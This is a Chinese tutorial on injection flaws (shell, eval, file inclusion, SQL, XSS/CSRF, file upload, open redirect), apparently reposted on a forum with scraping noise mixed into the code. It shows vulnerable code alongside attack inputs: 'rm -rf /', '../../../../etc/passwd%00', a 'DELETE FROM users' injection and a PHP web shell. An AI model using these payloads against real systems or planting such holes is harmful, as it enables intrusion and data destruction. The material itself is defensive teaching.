|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1 3 m `" ~. g& I! f6 ^( F" G' n$ B1 I
[size=1em]2
* G; X# S. ]# [; @: J- t+ H[size=1em]3
6 Y9 d* O' e. T( X# c[size=1em]4 ; F* R+ S9 v' A2 d
[size=1em]5
. J) {# n% `8 q. s& v( x[size=1em]6 1 h7 B) k" k9 I0 F; F' v; L+ F2 f* t
[size=1em]7 ! V6 [$ O' @. a( H4 D
[size=1em]8
7 e" i) \8 n3 u4 f7 B4 I# |/ s[size=1em]9
. Z0 r+ Q, F) A6 i5 G[size=1em]10
: w) @8 r; u8 _/ d" v[size=1em]11
+ e; }7 |6 B, P" G | [size=1em][size=1em]use CGI qw(:standard);- x4 X& r( L. s/ ~: V7 K9 v
[size=1em]$name = param('name');
* L( S. j' ?. F[size=1em]$nslookup = "/path/to/nslookup";% W! r6 b7 Z* y# N$ N
[size=1em]print header;
+ z/ c8 U8 f: g8 I2 }1 r, _[size=1em]if (open($fh, "$nslookup $name|")) {
1 e1 X% j6 F" S1 G6 l[size=1em] while (<$fh>) {$ p. ?% a7 X+ h5 d
[size=1em] print escapeHTML($_);
6 N% }# j5 d- }. \[size=1em] print "<br>\n";
% b1 E* E9 I" R: \4 m& U/ w- D[size=1em] }
X o9 u! O2 z8 }* ?4 F( }6 c[size=1em] close($fh);+ r. m* P4 T: |9 s" w* {" `
[size=1em]}
; J3 M4 s4 \6 a ^ L v0 a* R8 e& A% h, P+ j! w1 P
|
8 x' F' C; V0 o4 G, R' p/ g6 o4 v
如果用户输入的参数是: [size=1em][size=1em]1
4 T) i: E7 R9 ~5 _' C1 e | [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l# w) c. Y; c& H; U) |. G
' @1 t7 `% ] Y4 d0 f/ Y7 M |
8 E% [1 C0 [/ M" h: R8 R
/ b4 @4 ^, ?% N- p" {* Q, ]那么,这段perl的程序就成了: $ K' l7 j6 |9 l: c1 @' m5 A
[size=1em][size=1em]1
+ O( a. S' n) f' m0 H, b9 F | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l
2 m& X- b6 y( z6 y1 h/ f' O4 L: k+ B0 x* U
|
; t q# S+ @8 M9 F% n& D. z1 l8 q3 }7 x% U* k
我们再来看一段PHP的程序: [size=1em][size=1em]1
5 y, `" q0 R( n; O[size=1em]2 5 h2 W5 k0 ]9 k6 u2 h
[size=1em]3
8 F8 N9 p4 [" l! Y- a | [size=1em][size=1em]$myvar = 'somevalue';
, u% c$ F- r) w# V, t[size=1em]$x = $_GET['arg'];
8 P% {1 s5 w( X, A[size=1em]eval('$myvar = ' . $x . ';');8 J/ V Q V, f) `' ~
8 N5 R) X" `7 o: [ | 0 O, I! k0 K* Y% O
, b% R9 M$ q5 E“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1
' z% h! B0 g7 C. m8 `0 V[size=1em]2 5 ?; X& D8 t. c$ ]0 k
[size=1em]3
% T/ S8 N, b) a5 X- i6 u[size=1em]4 2 b( c8 e5 C1 ^
[size=1em]5 ) n1 P, p" Z. h2 ?6 p
[size=1em]6
& i) a8 v M+ Z+ d1 g* } | [size=1em][size=1em]$isadmin= false;9 S; ]& Q7 N8 f6 u0 K( C9 P
[size=1em]...( L; e; a9 G9 F
[size=1em]...- }2 t5 v, R) Q1 ?3 w9 H
[size=1em]foreach ($_GET as $key => $value) {
& U0 t1 V, I/ w: f7 I[size=1em] $$key = $value;
5 B5 n6 L I |1 A4 b r8 @/ H. i8 I$ N[size=1em]}
( o" C5 Y* ]5 L* h' X: T4 O: a( B7 Y X+ m9 l0 h
| * \% L) h( b/ T5 r8 W: `
; X4 i5 _: C3 Z' C- `( k
如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1 ; W& k u, J2 T4 O
[size=1em]2 0 O, C& ?6 E8 I& Q+ K) k4 C: `- R0 A6 l
[size=1em]3
8 d. P N k$ }7 p+ R# g! |[size=1em]4
1 Q5 r7 f* ~3 n, [! L | [size=1em][size=1em]$action = 'login';
9 p# {' O, ^0 Y1 v9 t[size=1em] if (__isset( $_GET['act'] ) )
, s4 [4 X0 E' V" m[size=1em] $action = $_GET['act'];4 g V( Q0 B5 E
[size=1em] require( $action . '.php' );
O; F, p. _2 r
2 r; `$ q; n* S' @! }0 M | h) l" k `; P5 y1 c
* f3 N- ]8 X+ t6 Z5 v) n! K. R
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
2 t% Q% B9 l/ E! X* d; y
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。7 ~' P* ]+ ^+ [( J1 N
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1 # m5 l1 d% d% f& K! c
[size=1em]2
. d# T! p2 P9 m3 h# c | [size=1em][size=1em]strSQL = "SELECT * FROM users
* R. q& J2 T/ z" X y u[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"2 J9 [3 E# p# A) w* V' S
+ [) `4 W2 w2 {8 \2 O |
" ~1 U+ T2 ^2 Q) t4 E2 @, @' o3 G) e: M' }6 s4 b5 P, i
用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1
* A" \1 s) U9 o1 s | [size=1em][size=1em]userName = "' OR '1'='1";7 s' Z6 H/ E2 w; H& T0 d( X8 m- n
7 |: o" P, K% n+ p | ; D; N n4 Z( T$ P1 [! r. H
% h9 x2 c/ w6 n+ [! \- z1 w. Q" u& j[size=1em][size=1em]1 : \+ x* P2 @. O# K
| [size=1em][size=1em]passWord = "' OR '1'='1";9 ~' u( T7 T: f. ]
2 g; o. x- |' [! x( c* W F9 V
|
) Y' k; ~# `( J! _% W
, N% _/ i ~0 C2 R此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1 & h7 T7 Q( A: |" K# T
[size=1em]2 9 P5 |; U. X# \1 M# Q$ i
| [size=1em][size=1em]strSQL = "SELECT * FROM users
3 P0 S( x ?1 H$ Q. m' M. a* p[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"5 _% C# Y( \$ C8 O# `1 \+ ~' R0 T7 F
, f9 U5 W$ W b3 N. s
|
' R1 o# K' n B5 L) o/ k# Q, J0 ?/ B2 p7 }- s
也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
" X: i' ^ T# t1 B | [size=1em][size=1em]strSQL = "SELECT * FROM users;"* ^: Q! X# i2 A3 y9 h. `, ]
8 v* S' g/ D# K0 b |
+ O. t$ s" G1 m6 L) C% S
- A# X) |4 P6 k4 V- @' g这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
- I* |0 J' t, V0 X2 i2 c | [size=1em][size=1em]username= "' ; DELETE FROM users; --";! z4 S5 _# P5 @* @4 k4 a
9 F- S5 ]: O2 \4 J7 L O, l0 Q: N | ; _! m$ h2 z+ G) ] I
" E0 O8 h1 E3 g, s" f+ S5 K这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1 * i7 }5 Q1 M+ Y* M- M2 Q
[size=1em]2 5 ~$ {. e. Y/ F1 v
[size=1em]3 ) u$ n+ P B& G9 l7 S3 f: j3 k8 X
[size=1em]4
- \7 \3 P- |- ]# S8 t9 q& N[size=1em]5
- `( F0 P) E" w1 u# `8 T6 @ | [size=1em][size=1em]<table background=”javascript:alert(1)”>3 q7 z i5 ]/ o9 E6 x9 X
" l3 J; r2 d5 l[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾, X- F: ~0 n; U% G
$ D i+ A( f4 d[size=1em]<img src=”javascript:alert(1)”>/ h2 q* ]5 g8 I' u& J
+ { N! |; R% K | ' x- H1 ?5 a [2 J
v) v$ v- ^: d) a; r2 N; m
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1 * R* o$ l" n. j" C8 M7 K
| |
1 c$ b7 ]* t1 M6 Z& j; @' d
$ b( l4 m% Q- D8 }$ ~+ G) @很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
2 V, p1 N. U J, h) Z' `. O9 e# y! B) L7 Z
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。
; v- y. F$ l5 y M' F4 r
Y& {% ^' f. _9 ~$ M
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
$ E7 L a, p: v4 c2 x5 \+ u$ c
- 限制cookie的过期时间。
' w U5 d( z6 E( |; d8 e2 E. N
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
/ [6 Z9 p: o! M @6 R7 J0 u L
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1 + _ v1 G2 y7 _2 M2 i
[size=1em]2 * r8 l) j( O* [9 @5 B# k
[size=1em]3
5 m9 z3 v( s- n+ @[size=1em]4
4 y2 \2 d! T& h: s[size=1em]5
& G# a4 a, H h[size=1em]6
8 L, m; E! c3 g5 _3 l[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">
9 a, n3 s- c- }' ^/ z3 f[size=1em]要上传的文件:
r; `- I# F' L[size=1em]<input type="file" name="filename"/>% F* }* z2 `/ ~
[size=1em]<br/>
- _% l/ ~* p8 T[size=1em]<input type="submit" name="submit" value="Submit"/>2 u B& H* Q: e% g* [0 \- Z
[size=1em]</form>9 @1 I! c3 k1 y# q1 O" @
! L& a, d+ O4 E( C. v I, F& x
+ n6 o! [1 L3 ?% i9 r0 S( |% v5 C: Z! s3 [+ ]0 Z
[size=1em]后台上传文件的PHP程序[size=1em]1 0 s) Z% ^9 L& i5 t u
[size=1em]2 $ L: ]; O$ \ ` j1 P9 T- R+ a* h
[size=1em]3 ! Q B9 b+ d7 l* \& A4 I& U2 i
[size=1em]4
% m# _4 L' X' P0 y[size=1em]5
& k! `0 q! [* E3 y[size=1em]6 7 ?0 {8 E2 ?3 [
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
, a/ h d- ?3 t v! t! H6 z: m[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
- a5 V+ N1 `& f( `[size=1em] echo "图片文件上传成功";% ~8 N# g: Z; g7 B6 Q0 e$ s
[size=1em]}else{</div>
! o* [8 U A+ @/ ] o[size=1em] echo "图片文件上传失败";, U9 I' d4 n5 X: l
[size=1em]}( u% E1 j0 I6 Y5 k" _* ^
0 N# G' M0 ^: |/ e) C % o4 d2 ?% r( B
) r! F8 h8 K$ v6 `假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1 0 n0 a/ `# _% p" J7 R8 b
[size=1em]2 ' [. {9 ~, T9 P" J0 a
[size=1em]3
- X1 j V H* {# _7 G* E1 S[size=1em][size=1em]<?php$ Z/ u" o- i+ l
[size=1em]system($_GET['cmd']);
, b" _) {! ~% V. T[size=1em]?>2 q$ L0 V- r2 V
* ~, ^' H8 z. g$ e
, i8 F. m" ]' D! L$ s3 J3 z. J! c" |; m8 Z3 ]3 Q/ Z& R
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1 7 c. ?# A% s: s5 @( H4 _1 U
| [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l$ X, z4 ], L5 U$ L
# |& _" o$ f8 d7 M' y6 G8 j3 F9 H
|
" e3 `( E; |1 M7 P2 t- \1 E8 e& u. S* r, E0 R
抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1
" L3 v( h+ |# K |* S[size=1em]2 ( Y/ Q& @. e, F! @$ j! ~' S6 p; Q
| [size=1em][size=1em]$redirect_url = $_GET['url'];
0 o( i/ K. b" ^* c[size=1em]header("Location: " . $redirect_url); V j- N- `" ^
% U+ }" M" t* [4 U- N: j5 |
|
. E) i$ n8 K: c9 W+ f
5 {: M! E2 z2 i( E- b* h这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
7 J5 Q9 ]4 C* x t' A6 j1 g! \( [1 \[size=1em][size=1em]1
& i/ F ?7 M; y# O/ u | [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net$ w( i* b/ ~- o7 {3 i
5 I. W" D p0 t) ?0 F' [* K
|
9 _/ [9 n4 ]$ s1 t# J t2 P; Z0 T7 g/ M" D4 g) s0 E
这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |